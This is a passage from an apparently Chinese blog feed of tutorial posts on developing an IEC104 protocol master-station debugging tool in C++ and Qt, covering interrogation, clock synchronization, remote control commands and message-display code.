&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;nbsp;&amp;quot;主站：&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;setTextColor(QColor(Qt::black));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if(type==1){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;quot;从站：&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;setTextColor(QColor(Qt::blue));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr.clear();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;append(typeStr+msg);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;update();&lt;/pre&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t4&quot;&gt;&lt;/a&gt;&lt;a id=&quot;4_154&quot;&gt;&lt;/a&gt;4.清空报文&lt;/h4&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;点击清空报文按钮，清空当前报文显示区。&lt;br/&gt;代码示例：&lt;/p&gt;&lt;pre data-index=&quot;3&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;&amp;nbsp;&amp;nbsp;connect(ui-&amp;gt;clearButton,&amp;amp;QPushButton::clicked,[=](){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;clear();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;/pre&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t5&quot;&gt;&lt;/a&gt;&lt;a id=&quot;5_163&quot;&gt;&lt;/a&gt;5.总结&lt;/h4&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;本章节主要讲解功能按钮的功能实现和核心代码，结合前五个章节的内容，即可完成IEC104主站调试&lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;软件开发&quot; data-pretit=&quot;软件开发&quot;&gt;软件开发&lt;/span&gt;应用。关于IEC104主站调试软件开发到此章节正式结束，若有疑问欢迎各位博主咨询。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 10 Sep 2025 14:49:53 +0800</pubDate></item><item><title>基于C++和Qt开发IEC104规约主站调试软件（第五章）</title><link>http://blog.write.yingkecut.cn/?id=30</link><description>&lt;div class=&quot;toc&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;h4&gt;第五章：IEC104主站调试软件发送总召、&lt;a href=&quot;https://so.csdn.net/so/search?q=%E6%97%B6%E9%92%9F%E5%90%8C%E6%AD%A5&amp;spm=1001.2101.3001.7020&quot; target=&quot;&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E6%97%B6%E9%92%9F%E5%90%8C%E6%AD%A5&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;时钟同步\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;时钟同步&quot; data-pretit=&quot;时钟同步&quot;&gt;时钟同步&lt;/a&gt;&lt;/h4&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: disc;&quot;&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#1_5&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;主站发送总召唤(0x64)&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#20x2D_8&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;主站发送时钟同步(0x67)&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;div class=&quot;toc&quot; style=&quot;box-sizing: border-box; line-height: 24px; margin: 0px 0px 24px; padding: 0px;&quot;&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#4_60&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;总结&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;a href=&quot;https://live.csdn.net/v/473582&quot; rel=&quot;nofollow&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;最终成果&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;a href=&quot;https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;IEC104通讯规约知识学习&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;上一章内容回顾：&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://blog.csdn.net/liangwwe0/article/details/147293917?spm=1011.2415.3001.5331&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;IEC104主站调试软件遥控、遥调功能&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t1&quot;&gt;&lt;/a&gt;&lt;a id=&quot;10x64_5&quot;&gt;&lt;/a&gt;1.主站发送总召唤(0x64)&lt;/h3&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;代码示例&lt;/strong&gt;&lt;/p&gt;&lt;pre data-index=&quot;0&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;	//从站地址
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;slaveAddr&amp;nbsp;=&amp;nbsp;sendfui-&amp;gt;slaveAddrEdit-&amp;gt;text().toInt();
	//原因
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;causeStr&amp;nbsp;=&amp;nbsp;sendfui-&amp;gt;causeBox-&amp;gt;currentText();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;l=typeStr.indexOf(&amp;#39;(&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;r&amp;nbsp;=&amp;nbsp;typeStr.indexOf(&amp;#39;)&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;type&amp;nbsp;=&amp;nbsp;typeStr.mid(l+1,r-l-1).toInt();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;nbsp;typeStr.mid(0,l);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;l=causeStr.indexOf(&amp;#39;(&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;=&amp;nbsp;causeStr.indexOf(&amp;#39;)&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;cause&amp;nbsp;=&amp;nbsp;causeStr.mid(l+1,r-l-1).toInt();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;causeStr&amp;nbsp;=&amp;nbsp;causeStr.mid(0,l);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch&amp;nbsp;(type)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;C_IC_NA_1:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{//发送总召唤&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_sendInterrogationCommand(m_iec104con,&amp;nbsp;&amp;nbsp;&amp;nbsp;(CS101_CauseOfTransmission)cause,&amp;nbsp;slaveAddr,&amp;nbsp;IEC60870_QOI_STATION);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;showMessageSignal(&amp;quot;总召唤&amp;quot;,0);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;/pre&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;运行演示&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910141242175748476242348.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;/p&gt;&lt;h3 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t2&quot;&gt;&lt;/a&gt;&lt;a id=&quot;20x67_31&quot;&gt;&lt;/a&gt;2.主站发送时钟同步(0x67)&lt;/h3&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;代码示例&lt;/strong&gt;&lt;/p&gt;&lt;pre data-index=&quot;1&quot;&gt;&amp;nbsp;case&amp;nbsp;C_CS_NA_1:
&amp;nbsp;{
&amp;nbsp;	//创建时间
&amp;nbsp;	CP56Time2a&amp;nbsp;newTime&amp;nbsp;=&amp;nbsp;CP56Time2a_createFromMsTimestamp(nullptr,&amp;nbsp;Hal_getTimeInMs()+8*3600*1000);
	//发送时钟同步接口&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
	CS104_Connection_sendClockSyncCommand(m_iec104con,slaveAddr,newTime);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;showMessageSignal(&amp;quot;时钟同步&amp;quot;,0);
&amp;nbsp;}&lt;/pre&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;运行演示&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910141242175748476250300.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;/p&gt;&lt;h3 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t3&quot;&gt;&lt;/a&gt;&lt;a id=&quot;3_47&quot;&gt;&lt;/a&gt;3.总结&lt;/h3&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;本章主要描述IEC104主站软件发送总召唤、时钟同步功能和部分核心代码。&lt;br/&gt;&lt;strong&gt;下期分享IEC104主站调试软件功能按钮（报文解析、报文导出、报文滚动、清空报文）&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 10 Sep 2025 14:05:00 +0800</pubDate></item><item><title>基于C++和Qt开发IEC104规约主站调试软件（第四章）</title><link>http://blog.write.yingkecut.cn/?id=29</link><description>&lt;div class=&quot;toc&quot; style=&quot;box-sizing: border-box; font-size: 18px; line-height: 24px; margin: 0px 0px 24px; padding: 0px; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;h4 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 16px; line-height: 26px;&quot;&gt;第四章：IEC104主站调试软件遥控、遥调功能&lt;/h4&gt;&lt;ul style=&quot;list-style-type: none;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#1_5&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;1.创建遥控遥调命令下发对话框&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#20x2D_8&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;2.下发单点遥控功能（0x2D）&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#30x30_43&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;3.归一化遥调设置（0x30）&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;div class=&quot;toc&quot; style=&quot;box-sizing: border-box; font-size: 18px; line-height: 24px; margin: 0px 0px 24px; padding: 0px; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#4_60&quot; target=&quot;_self&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;4.总结&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p&gt;&lt;br style=&quot;box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：&lt;/span&gt;&lt;br style=&quot;box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;最终成果展示：&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://live.csdn.net/v/473582&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;最终成果&lt;/a&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;IEC104通讯规约知识学习：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210&lt;/span&gt;&lt;br style=&quot;box-sizing: border-box; color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;上一章内容回顾：&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://blog.csdn.net/liangwwe0/article/details/147266992?spm=1011.2415.3001.5331&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;IEC104主站解析遥信、遥测数据&lt;/a&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.75); font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-size: medium; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 18px; line-height: 28px; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t1&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;&lt;a id=&quot;1_5&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;1.创建遥控遥调命令下发&lt;a href=&quot;https://so.csdn.net/so/search?q=%E5%AF%B9%E8%AF%9D%E6%A1%86&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E5%AF%B9%E8%AF%9D%E6%A1%86&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;对话框\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;对话框&quot; data-pretit=&quot;对话框&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;对话框&lt;/a&gt;&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;（点击报文发送按钮弹出此对话框）&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910140806175748448659370.png&quot; alt=&quot;在这里插入图片描述&quot; style=&quot;border-style: none; box-sizing: border-box; margin: 0px; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 18px; line-height: 28px; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t2&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;&lt;a id=&quot;20x2D_8&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;2.下发单点遥控功能（0x2D）&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;核心代码示例：&lt;/p&gt;&lt;pre data-index=&quot;0&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;dataAddr&amp;nbsp;=&amp;nbsp;sendfui-&amp;gt;dataAddrEdit-&amp;gt;text().toInt();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;typeStr&amp;nbsp;=&amp;nbsp;sendfui-&amp;gt;typeBox-&amp;gt;currentText();
